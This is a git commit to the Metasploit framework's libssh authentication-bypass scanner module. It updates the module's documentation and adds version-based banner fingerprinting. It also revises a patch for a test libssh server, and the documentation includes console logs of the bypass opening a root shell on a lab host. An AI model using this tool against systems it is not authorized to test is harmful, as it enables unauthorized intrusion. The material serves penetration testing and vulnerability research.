Land #10835, libssh fingerprint improvements

GSoC/Meterpreter_Web_Console
Brent Cook 2018-10-19 19:48:23 -05:00
commit accf9edf89
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
3 changed files with 55 additions and 19 deletions

View File

@ -2,7 +2,8 @@
This module exploits an authentication bypass in libssh server code
where a `USERAUTH_SUCCESS` message is sent in place of the expected
`USERAUTH_REQUEST` message. Versions 0.6 and later are affected.
`USERAUTH_REQUEST` message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.
Note that this module's success depends on whether the server code
can trigger the correct (`shell`/`exec`) callbacks despite only the state
@ -15,7 +16,7 @@ additional code paths to be followed.
1. `git clone git://git.libssh.org/projects/libssh.git`
2. `cd libssh` and `git checkout libssh-0.8.3`
3. `patch -p0 < /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
3. `git apply -p1 /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
4. Follow the steps in `INSTALL` to build libssh
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)
@ -35,13 +36,13 @@ require this. Note that you WILL be logged in `utmp`, `wtmp`, and
**CHECK_BANNER**
This is a banner check for the `libssh` string. It's not sophisticated,
and the banner may be changed, but it may prevent false positives due to
how the OOB authentication packet always returns `true`.
This is a banner check for libssh. It's not sophisticated, and the
banner may be changed, but it may prevent false positives due to how the
OOB authentication packet always returns `true`.
## Usage
Testing against libssh 0.8.3:
Positive testing against unpatched libssh 0.8.3:
```
msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
@ -56,6 +57,7 @@ verbose => true
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
@ -74,12 +76,25 @@ tty
#
```
Negative testing against patched libssh 0.8.4:
```
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[-] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.4 appears to be patched
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
```
Negative testing against an insufficiently implemented libssh server:
```
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[-] 172.28.128.3:2222 - shell/exec channel request failed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

View File

@ -1,6 +1,8 @@
--- examples/ssh_server_fork.c.orig 2018-10-17 18:28:06.476708511 +0000
+++ examples/ssh_server_fork.c 2018-10-19 05:45:08.754976769 +0000
@@ -235,8 +235,6 @@
diff --git a/examples/ssh_server_fork.c b/examples/ssh_server_fork.c
index 217c5298..20008c76 100644
--- a/examples/ssh_server_fork.c
+++ b/examples/ssh_server_fork.c
@@ -235,8 +235,6 @@ struct channel_data_struct {
struct session_data_struct {
/* Pointer to the channel the session will allocate. */
ssh_channel channel;
@ -9,7 +11,7 @@
};
static int data_function(ssh_session session, ssh_channel channel, void *data,
@@ -406,8 +404,8 @@
@@ -406,8 +404,8 @@ static int shell_request(ssh_session session, ssh_channel channel,
if (cdata->pty_master != -1 && cdata->pty_slave != -1) {
return exec_pty("-l", NULL, cdata);
}
@ -20,7 +22,7 @@
}
static int subsystem_request(ssh_session session, ssh_channel channel,
@@ -421,16 +419,13 @@
@@ -421,16 +419,13 @@ static int subsystem_request(ssh_session session, ssh_channel channel,
static int auth_password(ssh_session session, const char *user,
const char *pass, void *userdata) {
@ -38,7 +40,7 @@
return SSH_AUTH_DENIED;
}
@@ -496,9 +491,7 @@
@@ -496,9 +491,7 @@ static void handle_session(ssh_event event, ssh_session session) {
/* Our struct holding information about the session. */
struct session_data_struct sdata = {
@ -49,7 +51,7 @@
};
struct ssh_channel_callbacks_struct channel_cb = {
@@ -530,19 +523,11 @@
@@ -530,19 +523,11 @@ static void handle_session(ssh_event event, ssh_session session) {
ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD);
ssh_event_add_session(event, session);

View File

@ -16,7 +16,8 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. Versions 0.6 and later are affected.
USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.
Note that this module's success depends on whether the server code
can trigger the correct (shell/exec) callbacks despite only the state
@ -41,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary
Opt::RPORT(22),
OptString.new('CMD', [false, 'Command to execute']),
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true])
OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])
])
register_advanced_options([
@ -50,6 +51,26 @@ class MetasploitModule < Msf::Auxiliary
])
end
# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
def check_banner(ip, version)
version =~ /libssh_([\d.]+)$/ && $1 && (v = Gem::Version.new($1))
if v.nil?
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
return Exploit::CheckCode::Safe
elsif v.between?(Gem::Version.new('0.6.0'), Gem::Version.new('0.7.5')) ||
v.between?(Gem::Version.new('0.8.0'), Gem::Version.new('0.8.3'))
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
return Exploit::CheckCode::Appears
else
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
return Exploit::CheckCode::Safe
end
# Hopefully we never hit this
Exploit::CheckCode::Unknown
end
def run_host(ip)
factory = ssh_socket_factory
@ -83,10 +104,8 @@ class MetasploitModule < Msf::Auxiliary
version = ssh.transport.server_version.version
# XXX: The OOB authentication leads to false positives, so check banner
if datastore['CHECK_BANNER'] && !version.include?('libssh')
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
return
end
return if datastore['CHECK_BANNER'] &&
check_banner(ip, version) != Exploit::CheckCode::Appears
report_vuln(
host: ip,